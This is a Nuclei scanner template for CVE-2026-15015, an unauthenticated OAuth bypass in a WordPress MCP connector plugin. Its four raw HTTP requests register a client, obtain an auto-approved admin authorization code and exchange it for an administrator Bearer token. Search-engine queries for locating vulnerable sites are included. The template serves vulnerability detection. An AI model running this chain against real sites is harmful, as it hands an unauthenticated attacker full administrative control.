id: CVE-2026-15015 info: name: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure author: DhiyaneshDk severity: critical description: | MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings. impact: | Unauthenticated remote attackers can obtain Bearer tokens bound to a WordPress administrator account, granting complete administrative control via the MCP interface including read/write access to all posts, pages, users, plugins, themes, site settings, and database options. remediation: | Update the MountDev AI MCP Connector plugin to version 1.6.2 or later, which adds proper authorization checks to the Dynamic Client Registration and authorization endpoints. reference: - https://github.com/les-k/wp-secure-mcp - https://plugins.trac.wordpress.org/browser/mountdev-ai-mcp-connector/tags/1.6.0/includes/class-oauth-controller.php#L370 - https://nvd.nist.gov/vuln/detail/CVE-2026-15015 - https://www.rapid7.com/db/vulnerabilities/cve-2026-15015/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-15015 epss-score: 0.02647 epss-percentile: 0.85676 cwe-id: CWE-862 metadata: verified: true max-request: 4 vendor: developer-developer-developer product: mountdev-ai-mcp-connector framework: wordpress shodan-query: http.html:"/wp-content/plugins/mountdev-ai-mcp-connector/" fofa-query: body="/wp-content/plugins/mountdev-ai-mcp-connector/" publicwww-query: "/wp-content/plugins/mountdev-ai-mcp-connector/" tags: cve,cve2026,wordpress,wp-plugin,authorization-bypass,oauth,token-exposure,vkev variables: client_name: "{{randstr}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET /wp-content/plugins/mountdev-ai-mcp-connector/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl internal: true dsl: - 'contains(body, "MCP Connector")' - 'compare_versions(plugin_version, "<= 1.6.1")' condition: and extractors: - type: regex name: plugin_version part: body group: 1 regex: - "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)" internal: true - raw: - | POST /mcp-register HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"redirect_uris":["{{RootURL}}"],"client_name":"{{client_name}}","token_endpoint_auth_method":"client_secret_post"} matchers: - type: dsl dsl: - 'contains(body, "client_id") && contains(body, "client_secret")' - 'status_code == 201' condition: and internal: true extractors: - type: regex name: client_id part: body group: 1 regex: - '"client_id"\s*:\s*"([^"]+)"' internal: true - type: regex name: client_secret part: body group: 1 regex: - '"client_secret"\s*:\s*"([^"]+)"' internal: true - raw: - | GET /wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize?client_id={{client_id}}&redirect_uri={{RootURL}}&response_type=code&scope=mcp HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(header, "code=")' - 'status_code == 302' condition: and internal: true extractors: - type: regex name: auth_code part: header group: 1 regex: - "code=([a-zA-Z0-9]+)" internal: true - raw: - | POST /mcp-token HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code={{auth_code}}&client_id={{client_id}}&client_secret={{client_secret}} matchers: - type: dsl dsl: - 'contains(body, "access_token") && contains(body, "Bearer")' - 'contains(header, "application/json")' - 'status_code == 200' condition: and extractors: - type: regex name: access_token part: body group: 1 regex: - '"access_token"\s*:\s*"([^"]+)"' # digest: 4a0a00473045022100b049b6622e902ecff1a44b6aea2e0a6b477c612099bf62dcb98382b0820e8a6c022027b0a8227a9fde7f077f73d6737de0451ef6f3f700aad2d1bc16226607c10105:922c64590222798bb761d5b6d8e72950